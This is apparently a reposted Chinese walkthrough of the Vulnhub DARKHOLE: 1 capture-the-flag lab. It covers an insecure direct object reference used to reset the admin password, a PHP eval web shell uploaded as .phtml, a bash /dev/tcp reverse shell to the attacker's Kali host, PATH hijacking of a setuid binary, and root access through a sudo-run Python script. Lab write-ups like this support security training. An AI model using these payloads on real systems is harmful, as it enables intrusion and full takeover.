Vulnhub之DARKHOLE: 1渗透测试
Posted Big&Bird
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Vulnhub之DARKHOLE: 1渗透测试相关的知识,希望对你有一定的参考价值。
1、靶机概述
Description
Difficulty: Easy
It’s a box for beginners, but not easy, Good Luck
Hint: Don’t waste your time For Brute-Force
链接: 靶机下载地址.
KALI:192.168.110.128
靶机:192.168.110.136
2、信息收集
首先把靶机的IP给扫出来
接着扫描一波端口和服务
靶机开启22和80端口,毫无疑问,先访问一下80端口,显示为一个站点。
查看页面和审计页面源码,并没有发现关键信息。
点击login,进入登录页面
靶机描述中已经告诉我们不要使用暴力破解,不过可以注册一个账号。点击sign up now,然后注册一个账号(test01:123456)。
注册成功后,登录进去系统。
仅有更新个人信息和密码功能。
3、越权操作
更新一下密码,并使用BP抓包。
尝试是否存在越权操作漏洞,修改参数id=1
事实证明,存在越权操作漏洞,且我们已经修改了id=1的账户(admin)的密码为111111。
使用管理员账户(admin:111111)登录系统,多了一个文件上传功能。
4、文件上传获取shell
首先上传一个php文件,内容为
<?php @eval($_POST[cmd]);?)>
但是报错了,猜测做了黑名单检测。
将后缀名改为.phtml,再次上传,上传成功,且暴露了上传路径。
使用蚁剑连接,获取到shell
5、反弹shell至kali
下一步,我们反弹shell至kali
新建文件xxx.sh,并赋予执行权限,内容为
#!/bin/bash
bash -i >& /dev/tcp/192.168.110.128/7788 0>&1
kali上开启nc监听,在蚁剑终端执行xxx.sh,反弹shell成功。
目前,我们获得的权限还比较低,下一步,开始提权
查看/etc/passwd,可知,我们要先提权到john或darkhole
在/var/www/html/config目录下存在数据库连接文件
在/home/john目录下发现toto二进制文件具有s权限
这个toto文件是"id"的副本文件,运行发现toto文件的结果是用john的身份执行了id命令
6、获取john用户shell
我们可以尝试利用这个特性,在本地编辑新的id文件,写入/bin/bash,给执行权限。然后将文件路径写入到原有环境变量前(从前往后顺序匹配),这样使用id命令时就会优先匹配此路径下的id文件,运行toto文件使用john身份调用id命令时就会获得shell
echo '/bin/bash' > /tmp/id;chmod +x /tmp/id;export PATH=/tmp:$PATH
在user.txt中找到flag,在password中找到密码root123
登录john账户
7、获取root权限
下一步,就是提权到root,首先搜一下具有sodo权限的命令
用户可以编辑并执行root权限的python 脚本。
那我们将获取shell的命令加入到python脚本中再去执行就可以获得root权限了
echo 'import os;os.system("/bin/bash")' > file.py
sudo python3 /home/john/file.py
以上是关于Vulnhub之DARKHOLE: 1渗透测试的主要内容,如果未能解决你的问题,请参考以下文章